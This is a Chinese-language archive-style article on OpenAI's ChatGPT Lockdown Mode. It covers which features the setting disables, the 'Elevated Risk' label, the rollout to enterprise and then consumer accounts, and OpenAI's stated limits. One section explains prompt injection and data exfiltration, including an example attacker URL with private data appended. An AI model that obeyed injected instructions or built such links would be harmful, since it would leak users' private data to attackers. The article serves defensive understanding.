ChatGPT 鎖定模式：OpenAI 為遏止提示注入而打造的設定

2026 年 2 月 13 日，OpenAI 宣布推出 Lockdown Mode，這是一項可選的 ChatGPT 設定，用來限制助理可傳送至網路的內容，使提示注入攻擊無從將竊取的資料帶出。瀏覽功能降為僅使用快取內容，任何即時請求都不會離開 OpenAI 控制的網路；任何無法獲得確定性安全保證的功能都會被關閉，而不是加以過濾。此功能首先向 ChatGPT Enterprise、ChatGPT Edu、ChatGPT for Healthcare 和 ChatGPT for Teachers 推出，由工作區管理員開啟，並承諾消費者「在未來幾個月內」可使用——同一 OpenAI 頁面記載該承諾已於 2026 年 6 月 4 日兌現。此事件未涉及任何入侵、受害者或資料遺失：AI Incident Archive 將其歸檔為資訊嚴重性的政策紀錄，信心等級為 A。該紀錄的引用清單，以及其前後歸檔的治理條目，都收錄在 Orca AI Incident Archive中，該處也連結了 OpenAI 的主要公告。

封鎖模式會關閉哪些功能

OpenAI 將 Lockdown Mode 定位為一種設定，適用於「少數高度重視安全的使用者——例如知名組織的高階主管或安全團隊——他們需要更強的保護以抵禦進階威脅」，並明確表示它「對大多數使用者而言並非必要」。它的作用在於削減功能。以下清單是 OpenAI 自己的清單，摘自該公告，以及公告所連結的 Lockdown Mode 說明中心文章。

• 即時網頁瀏覽。 瀏覽僅限於快取內容，因此不會有任何即時網路請求離開 OpenAI 的受控網路。搜尋結果「可能有限、無法取得或已過時」。

• 圖片支援。ChatGPT 可能無法在一般回覆中顯示圖片，也無法從網路上擷取圖片。上傳圖片檔案仍可正常運作，而圖片生成功能在原本可用的情況下也依然可用。

• Deep Research。 已停用。OpenAI 6 月 4 日的更新指出，這包括購物研究。

• Agent Mode 已停用。

• Canvas 網路功能。使用者無法核准 Canvas 產生的程式碼連線至網路。

• 檔案下載。ChatGPT 無法下載檔案進行資料分析。它仍可處理使用者手動上傳的檔案。

• 即時連接器與應用程式寫入操作。 說明中心文章指出，在個人與自助式 Business 帳戶上，若即時存取外部服務及應用程式寫入操作與該模式的保護機制發生衝突，便會遭到封鎖，且「ChatGPT 中的財務功能與購物代理體驗」無法使用。

Lockdown Mode 明確不觸及的三件事：記憶、檔案上傳，以及對話是否可用於改善模型。它也不影響 Codex（OpenAI 的程式設計助理）的網路存取——這點值得牢記，因為 Codex 是承載這則公告後半段的產品之一。

這場攻擊旨在讓它挨餓。

提示注入是這類攻擊的統稱。第三方會把指令藏進模型將要讀取的內容中——網頁、PDF、共用文件——而模型會把這些指令當成合法指令，據此行動或洩露對話中的內容。OpenAI 自己對這項風險的描述是，對手「試圖誤導對話式 AI 系統，使其遵循惡意指令或洩露敏感資訊」。在連網助理中，酬載不必精巧；它需要的是一條對外傳輸路徑。例如，精心構造的連結如 attacker.example/collect?data= 後面接上私人資料就足夠了，因為資料會落入攻擊者的伺服器日誌，而聊天中不會出現任何可疑跡象。

大多數防禦措施都試圖阻止模型遵從指令。Lockdown Mode 則不然。它反而移除對外傳輸路徑，這就是為什麼 OpenAI 一直使用「deterministic」這個詞：這項限制是由產品的底層機制強制執行，而非由模型的判斷來決定，因此即使某個攻擊酬載在爭論中勝出，仍然無處可傳送其所得。用公告自己的話來說，Lockdown Mode「會確定性地停用 ChatGPT 中某些工具與能力，而對手可能試圖利用這些工具與能力來外洩敏感資料。」

OpenAI 並未主張什麼

這些限制是由 OpenAI 明確說明，而非從中萃取而來，而且它們比功能清單更重要。協助中心文章指出，Lockdown Mode「無法防止提示注入出現在 ChatGPT 處理的內容中」，並直接舉例：快取網頁內容或上傳檔案中的注入「仍可能影響回應的行為或準確性」。注入仍會發生，只是出口被封閉了。

在被問及保證時，OpenAI 向貿易媒體說明了它不承諾什麼。該公司表示：「Lockdown Mode 旨在大幅降低以提示注入為基礎的資料外洩風險，但並不保證資料外洩不會發生」，並補充指出「風險仍可能透過已啟用的應用程式、未預見的能力組合或新發現的技術而存在」（引自 The Next Web，2026 年 6 月 7 日）。應用程式正是明顯的漏洞：在受管理的工作區中，Lockdown Mode「不會自動停用每一個應用程式」，而幫助中心建議管理員，對不受信任的應用程式之讀取或寫入動作「並不建議」，且即使對受信任的應用程式，若其副作用無法確認能對惡意行為者隱藏，也應避免寫入動作。

「風險升高」標籤，以及它不是什麼

2月13日公告的後半部分屬於標籤變更，而非控制措施。OpenAI 針對「簡短清單」上若干帶有未解決網路風險的既有功能統一了措辭，使相同的「較高風險」（Elevated Risk）標籤一致出現在 ChatGPT、ChatGPT Atlas 與 Codex 上——該公司的論點是，使用者在任何地方遇到同一項功能時，都應獲得一致的指引。具體的例子是 Codex：開發人員若授予這個程式設計助理網路存取權以查閱文件，現在會在設定畫面上看到該標籤，它就位於網域允許清單與允許的 HTTP 方法旁邊，並附有說明，解釋會有哪些變更以及何時適合開啟該存取權。

這個標籤是警告，不是鎖定。使用者一旦接受，該功能仍會執行。OpenAI 也設定了自己的失效條件：它「會在我們判定安全進展已充分緩解這些風險、可供一般使用後，移除『Elevated Risk』標籤」，並會持續調整哪些功能帶有此標籤。這不尋常地明確承認，這份清單只是該公司目前認為預設不安全的快照。

從企業角色到設定開關

二月版本僅限企業版，且是由管理員設定，而非使用者自行選擇。ChatGPT Enterprise、Edu、for Healthcare 與 for Teachers 的管理員可在「工作區設定」中建立新角色來啟用此功能，從而在工作區原有強制限制之上疊加額外限制。管理員保有精細控制權，可精確選擇哪些應用程式，以及這些應用程式內哪些具體動作仍可使用——OpenAI 對此讓步的解釋是「某些關鍵工作流程依賴應用程式」。與此模式分開的是，Compliance API Logs Platform 讓管理員能查看應用程式使用情況、共享資料與已連接來源。

這項對消費者的承諾於 2026 年 6 月 4 日兌現：OpenAI 在同一公告頁面頂端新增一則更新說明，指出 Lockdown Mode 正逐步推出，「適用於個人 ChatGPT 帳戶及自助式 ChatGPT Business 帳戶」，可從設定中啟用，並重新列出限制清單，納入即時網頁存取、回覆中的圖片支援、包含購物研究的 Deep Research、Agent Mode、Canvas 聯網、即時連接器與檔案下載。PCMag 於 2026 年 6 月 6 日報導此次推出，The Next Web 則於 2026 年 6 月 7 日報導；曾於 2 月 18 日報導該 2 月公告的 The Cyber Express，在其 6 月後續報導中指出，該設定已擴及 Free、Go、Plus 與 Pro 帳戶。The Next Web 的報導補充了兩項 OpenAI 文章未提及的營運細節：Lockdown Mode 與 Developer Mode 無法同時啟用，且 OpenAI 同時推出獨立的工作階段管理功能，讓使用者檢視使用中的工作階段，並登出個別裝置。

這裡確立了什麼，而什麼尚未確立

上述關於此模式行為的一切，都是 OpenAI 自己的說法，並由依據同一篇貼文作業的媒體轉述。二月的報導——eWeek 於 2026 年 2 月 17 日、The Cyber Express 於 2026 年 2 月 18 日，以及包括 ZDNet Japan 和 Techlusive 在內的一群地區科技媒體——準確描述了這項功能，但並未加入獨立測試：本文所閱讀的報導中，沒有任何一篇報告曾嘗試突破 Lockdown Mode，而公告本身也未引用任何外部安全評估。這構成了紀錄所能說明之範圍的一項限制。檔案庫的 A 級信心評等描述的是該事件被記錄得有多完整，以及其主要來源彼此一致到什麼程度，而不是這項控制措施運作得有多好。

這份紀錄也沒有帶來任何實際損害。這是一則政策條目，而非事件：沒有組織被指名為受害者，沒有計入任何資料外洩，且這裡沒有任何內容能證明是某次特定攻擊促成了這次發布。OpenAI 將 Lockdown Mode 呈現為現有防護措施的補充——沙箱化、以 URL 為基礎的資料外洩防禦、監控與執法、角色型存取與稽核日誌——而非對已披露入侵事件的回應。

關於這項功能意味著什麼，目前仍有持續爭論，因此應標示為爭論。《The Cyber Express》在六月的一篇分析文章中提出這個問題：Lockdown Mode 的存在是否等於承認 ChatGPT 在預設狀態下「無法提供穩健保護，以抵禦決心足夠堅定的資料外洩攻擊」，並回答 OpenAI「似乎並不否認這一點」——將該模式解讀為「最後一道防線的控制措施」，而非防注入措施。那是專欄作家的詮釋，而 OpenAI 自家的文字支持其中屬於事實的那一半，卻未作出這樣的承認。該檔案並未將此紀錄標為有爭議，而就事實而言也確實不是：分歧在於表述框架，而非該設定的作用。

讀者無需信任任何人就能查證的部分雖然不多，卻很實在。這項設定要麼出現在帳戶的安全控制項中，要麼沒有；限制清單要麼與 OpenAI 的描述相符，要麼不符。無法從外部查證的部分才是最重要的：確定性限制能否抵禦真正有心嘗試的對手，以及管理員保持啟用的應用程式與動作，是否會重新打開此模式原本要封閉的路徑。OpenAI 自身的但書——風險可能仍會透過已啟用的應用程式、未預見的能力組合或新發現的技術而存在——是對現況的誠實總結。